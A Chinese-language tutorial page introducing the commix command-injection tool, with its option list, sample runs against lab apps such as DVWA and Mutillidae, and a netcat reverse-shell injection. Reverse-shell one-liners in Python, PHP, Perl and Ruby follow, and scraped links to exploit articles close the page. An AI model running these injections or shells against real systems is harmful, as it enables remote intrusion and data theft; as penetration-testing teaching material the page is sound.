介绍

  项目地址:https://github.com/stasinopoulos/commix

  Commix是一个使用Python开发的漏洞测试工具,这个工具是为了方便的检测一个请求是否存在命令注入漏洞,并且对其进行测试,在其作者发布的最新版本中支持直接直接导入burp的历史记录进行检测,大大提高了易用性。

使用

选项:
    -v           VERBOSE详细程度级别(-,默认值:)。
    --version       显示版本号并退出。
    --output-dir=..   设置自定义输出目录路径。
    -s SESSION_FILE   从存储(.sqlite)文件加载会话。
    --flush-session   刷新当前目标的会话文件。
    --ignore-session  忽略存储在会话文件中的结果。   目标:
    -u URL,--url = URL  目标URL。
    --url-reload      在命令执行后重新加载目标URL。
    -l LOGFILE       解析来自HTTP代理日志文件的目标和数据。
    --crawl = CRAWLDEPTH 从目标网址开始抓取网站(-,默认值:)。   请求:
    --data=DATA      要通过POST发送的数据字符串。
    --host=HOST       HTTP主机头。
    --referer=REFERER   HTTP Referer标头。
    --user-agent=AGENT  HTTP用户代理头。
    --random-agent    使用随机选择的HTTP User-Agent头。
    --param-del=PDEL   设置分割参数值的字符。
    --cookie=COOKIE    HTTP Cookie头。
    --cookie-del=CDEL   设置分割cookie值的字符。
    --headers=HEADERS  额外标头(例如「Header1:Value1 \ nHeader2:Value2」)。
    --proxy=PROXY     使用HTTP代理(例如“127.0.0.1:”)。
    --tor          使用Tor网络。
    --tor-port=...    设置Tor代理端口(默认值:)。
    --auth-url=...    登录面板URL。
    --auth-data =AUTH   登录参数和数据。
    --auth-type =AUTH   HTTP认证类型(例如“基本”或“摘要”)。
    --auth-cred =AUTH   HTTP身份验证凭据(例如“admin:admin”)。
    --ignore-401      忽略HTTP错误401(未授权)。
    --force-ssl      强制使用SSL / HTTPS。   枚举:
    这些选项可用于枚举目标主机。
    --all            检索一切。
    --current-user       检索当前用户名。
    --hostname         检索当前主机名。
    --is-root          检查当前用户是否具有root权限。
    --is-admin         检查当前用户是否具有管理员权限。
    --sys-info         检索系统信息。
    --users           检索系统用户。
    --passwords         检索系统用户密码散列。
    --privileges        检索系统用户权限。
    --ps-version        检索PowerShell的版本号。   文件访问:
    这些选项可用于访问目标主机上的文件。
    --file-read = FILE ..  从目标主机读取文件。
    --file-write = FIL ..  写入目标主机上的文件。
    --file-upload = FI ..  在目标主机上上传文件。
    --file-dest = FILE ..  写入和/或上传到的主机的绝对文件路径。   模块:
    这些选项可用于增加检测和/或注射能力。
    --icmp-exfil = IP_ ..'ICMP exfiltration'注入模块。 (例如'ip_src = 192.168.178.1,ip_dst = 192.168.178.3')。
    --dns-server = DNS ..“DNS exfiltration”注入模块。  (用于DNS筛选攻击的域名)。
    --shellshock“炮弹”注射模块。
  注射:
    这些选项可用于指定要插入和输入的参数,提供定制注入有效负载。
    -p TEST_PARAMETER    可测试参数。
    --suffix = SUFFIX    注入有效负载后缀字符串。
    --prefix = PREFIX    注入有效负载前缀字符串。
    --technique = TECH   指定要使用的进样技术。
    --maxlen = MAXLEN    设置与时间相关的最大输出长度,注射技术(默认:10000字符)。
    --delay = DELAY     设置与时间相关的注入的自定义时间延迟术(默认:1秒)。
    --tmp-path = TMP_P .. 设置Web服务器的临时目录的绝对路径。
    --root-dir = SRV_R .. 设置Web服务器根目录的绝对路径。
    --alter-shell = AL .. 使用另一个os-shell(例如'Python')。
    --os-cmd = OS_CMD    执行单个操作系统命令。
    --os = OS        将后端操作系统强制为此值。
    --tamper = TAMPER   使用给定脚本篡改注射数据。   检测:
    这些选项可用于自定义检测阶段。     --level = LEVEL  要执行的测试级别(-,默认值:)。
    --skip-calc    在检测期间跳过数学计算
    --dependencies  检查第三方(非内核)依赖关系。
    --skip-waf    绕过启发式检测WAF / IPS / IDS保护。

使用举例

python commix.py –url="http://192.168.1.4/test/test.php?addr=INJECT_HERE” --os-cmd="nc -e /bin/sh 192.168.1.3 1234″

Freebuf给出的一些用法(http://www.freebuf.com/sectool/64030.html)

测试漏洞web应用Damn

python commix.py --url="http://192.168.178.58/DVWA-1.0.8/vulnerabilities/exec/#" --data="ip=INJECT_HERE&submit=submit" --cookie="security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4"

使用注入攻击Payload参数测试php-Charts 1.0

python commix.py --url="http://192.168.178.55/php-charts_v1.0/wizard/index.php?type=INJECT_HERE" --prefix="//" --suffix="'"

使用特殊的头和HTTP代理测试OWASP Mutillidae

python commix.py --url="http://192.168.178.46/mutillidae/index.php?popUpNotificationCode=SL5&page=dns-lookup.php" --data="target_host=INJECT_HERE" --headers="Accept-Language:fr\nETag:123\n" --proxy="127.0.0.1:8081"

使用ICMP渗漏(exfiltration)技术测试Persistence

su -c "python commix.py --url="http://192.168.178.8/debug.php" --data="addr=127.0.0.1" --icmp-exfil="ip_src=192.168.178.5,ip_dst=192.168.178.8""

配合一些反弹shell

. Python-reverse-shell:
  python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\”192.168.1.3\”,));os.dup2(s.fileno(),); os.dup2(s.fileno(),); os.dup2(s.fileno(),);p=subprocess.call([\”/bin/sh\”,\”-i\”]);’
. PHP-reverse-shell:
  php -r ‘\$sock=fsockopen(\”192.168.1.3\”,);exec(\”/bin/sh -i <% >% >%\”);’
. Perl-reverse-shell:
  perl -e ‘use Socket;\$i=\”192.168.1.3\”;\$p=;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\”tcp\”));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\”>%26S\”);open(STDOUT,\”>%26S\”);open(STDERR,\”>%26S\”);exec(\”/bin/sh -i\”);};’
. Ruby-reverse-shell:
  ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(\”192.168.1.3\”,);while(cmd=c.gets);IO.popen(cmd,\”r\”){|io|c.print io.read}end’

Commix命令注入漏洞利用的更多相关文章

  1. DVWA各等级命令注入漏洞

    漏洞描述 在web程序中,因为业务功能需求要通过web前端传递参数到后台服务器上执行,由于开发人员没有对输入进行严格过滤,导致攻击者可以构造一些额外的"带有非法目的的"命令,欺骗后 ...

  2. ThinkPHP5.0.21&5.1.* 代码执行和命令执行漏洞利用

    ThinkPHP5.0.21&5.1.* 代码执行和命令执行漏洞利用 ThinkPHP5.0.21&5.1.*  exploit code execution and command ...

  3. commix 命令注入工具

    关于系统命令注入,可以参考这篇文章:命令攻击介绍 系统命令注入场景 在对企业进行安全测试时候,很少会发现系统注入漏洞.这是因为大部分情况下代码业务主要是数据操作.文件操作.逻辑处理和api接口调用等, ...

  4. CVE-2020-15778 OpenSSH命令注入漏洞复现

    一.漏洞概要 OpenSSH 8.3p1及之前版本中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令.目前绝大多数linux系统受影响. 参考链接:https://githu ...

  5. DedeCMS全版本通杀SQL注入漏洞利用代码及工具

    dedecms即织梦(PHP开源网站内容管理系统).织梦内容管理系统(DedeCms) 以简单.实用.开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,近日,网友 ...

  6. Drupal 7.31 SQL注入漏洞利用具体解释及EXP

     有意迟几天放出来这篇文章以及程序,只是看样子Drupal的这个洞没有引起多少重视,所以我也没有必要按着不发了,只是说实话这个洞威力挺大的.当然.这也是Drupal本身没有意料到的. 0x00 首 ...

  7. DedeCMS全版本通杀SQL注入漏洞利用代码

    EXP: Exp:plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\'   or mid=@`\'` /*!50000u ...

  8. CVE-2017-17215 - 华为HG532命令注入漏洞分析

    前言 前面几天国外有个公司发布了该漏洞的详情.入手的二手 hg532 到货了,分析测试一下. 固件地址:https://ia601506.us.archive.org/22/items/RouterH ...

  9. ThinkPHP 5.1.x远程命令执行漏洞利用, 参考POC

    thinkphp5.1.1为例 1.代码执行: http://192.168.0.108/public//index.php?s=index/\think\Request/input&filt ...

随机推荐

  1. .NET 基础 一步步 一幕幕[面向对象之堆、栈、引用类型、值类型]

    堆.栈.引用类型.值类型 内存分为堆和栈(PS:还有一种是静态存储区域 [内存分为这三种]),值类型的数据存储在栈中,引用类型的数据存储在堆中. 堆.栈: 堆和栈的区别: 栈是编译期间就分配好的内存空 ...

  2. sublime vue 语法高亮插件安装

    默认情况下,Vue.js 的单文件组件(*.vue)在 sublime 编辑器中是不被识别的.若要想高亮显示,需要安装插件 Vue Syntax Hightlight.安装步骤如下:   第一,在 s ...

  3. 未能加载文件或程序集"Microsoft.Web.Infrastructure, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad的真正解决办法

    未能加载文件或程序集"Microsoft.Web.Infrastructure, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3 ...

  4. H5自带表单验证

    HTML5自带的表单验证 转载:https://www.web-tinker.com/article/20781.html HTML5对表单元素提供了patern属性,它接受一个正则表达式.表单提交时 ...

  5. php 语言特点

    PS:绝大多数用php的企业/ 项目 活不到雇佣得起月薪35k以上的php程序员那一天,也是php码农在10年经验的时候普遍不如java程序员的原因之一. PS2: 由于薪资提升太快,很多php码农跳 ...

  6. bootstrap IE8 相互兼容

    针对 IE8 仍然需要额外引入 Respond.js 文件(由于仍然利用了浏览器对媒体查询(media query)的支持,因此还需要做处理) <html lang="zh-cn&qu ...

  7. BZOJ 1303 【CQOI2009】中位数图

    baidu了一下bzoj水题列表...找到这道题.   题目大意:给定一个数t,在给定的一段包含1-n的序列中找出多少个长度为奇数子序列的中位数为t. 第一眼没看数据范围,于是开心的打了一个O(n^3 ...

  8. AppCan 双击返回按钮退出应用

    使用AppCan开发手机应用,拦截返回键实现自定义2秒内双击退出应用的操作 var c1c = 0; window.uexOnload = function(type){ uexWindow.setR ...

  9. c++ 随手记

    强类型的理解 先定义一些基础概念 Program Errors trapped errors.导致程序终止执行,如除0,Java中数组越界访问 untrapped errors. 出错后继续执行,但可 ...

  10. HTTP 错误 403.14 - Forbidden的解决办法

    错误: HTTP 错误 403.14 - ForbiddenWeb 服务器被配置为不列出此目录的内容.   原因: 出现这个错误,是因为默认文档中没有增加index.aspx导致的. 解决方法: 打开 ...